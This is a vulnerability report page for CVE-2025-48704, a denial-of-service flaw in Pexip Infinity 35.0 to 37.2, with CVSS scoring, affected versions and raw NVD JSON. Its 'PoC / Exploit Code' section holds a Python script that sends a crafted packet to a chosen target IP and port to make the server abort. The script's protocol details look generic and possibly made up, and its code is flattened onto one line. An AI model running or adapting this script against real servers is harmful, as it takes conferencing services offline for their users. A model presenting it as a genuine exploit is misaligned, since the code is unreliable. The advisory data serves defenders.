Security Vulnerability Report
中文
CVE-2025-48704 CVSS 7.5 HIGH

CVE-2025-48704

Published: 2025-12-25 05:16:07
Last Modified: 2026-01-05 19:29:50

Description

Pexip Infinity 35.0 through 37.2 before 38.0 has Improper Input Validation in signalling that allows an attacker to trigger a software abort, resulting in a denial of service.

CVSS Details

CVSS Score
7.5
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Configurations (Affected Products)

cpe:2.3:a:pexip:pexip_infinity:*:*:*:*:*:*:*:* - VULNERABLE
Pexip Infinity 35.0
Pexip Infinity 35.1
Pexip Infinity 35.2
Pexip Infinity 35.3
Pexip Infinity 36.0
Pexip Infinity 36.1
Pexip Infinity 36.2
Pexip Infinity 37.0
Pexip Infinity 37.1
Pexip Infinity 37.2

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
#!/usr/bin/env python3 """ CVE-2025-48704 PoC - Pexip Infinity Improper Input Validation DoS Note: This PoC is for educational and security testing purposes only. """ import socket import struct import sys def create_malformed_signalling_packet(): """Generate a malformed signalling packet to trigger improper input validation""" # Pexip Infinity signalling protocol header header = b'PEXI' # Protocol identifier version = struct.pack('!H', 1) # Version 1 msg_type = struct.pack('!H', 0xFFFF) # Malformed message type # Craft payload with invalid input that triggers validation failure # This causes the software to call abort() payload = b'\x00' * 100 + b'\xFF\xFF\xFF\xFF' + b'\x00' * 50 packet = header + version + msg_type + payload return packet def send_exploit(target_ip, target_port=8443): """Send exploit payload to target""" print(f'[*] Target: {target_ip}:{target_port}') print('[*] Generating malformed signalling packet...') packet = create_malformed_signalling_packet() try: print('[*] Sending exploit payload...') sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.settimeout(10) sock.connect((target_ip, target_port)) sock.send(packet) print('[+] Packet sent successfully') print('[*] Target should trigger abort() due to improper input validation') sock.close() except Exception as e: print(f'[-] Error: {e}') if __name__ == '__main__': if len(sys.argv) < 2: print(f'Usage: {sys.argv[0]} <target_ip> [port]') sys.exit(1) target = sys.argv[1] port = int(sys.argv[2]) if len(sys.argv) > 2 else 8443 send_exploit(target, port)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-48704", "sourceIdentifier": "[email protected]", "published": "2025-12-25T05:16:07.237", "lastModified": "2026-01-05T19:29:49.843", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Pexip Infinity 35.0 through 37.2 before 38.0 has Improper Input Validation in signalling that allows an attacker to trigger a software abort, resulting in a denial of service."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-617"}]}, {"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "NVD-CWE-noinfo"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:pexip:pexip_infinity:*:*:*:*:*:*:*:*", "versionStartIncluding": "35.0", "versionEndExcluding": "38.0", "matchCriteriaId": "77CB2320-CBF1-415B-8504-213FB4C9C883"}]}]}], "references": [{"url": "https://docs.pexip.com/admin/security_bulletins.htm", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}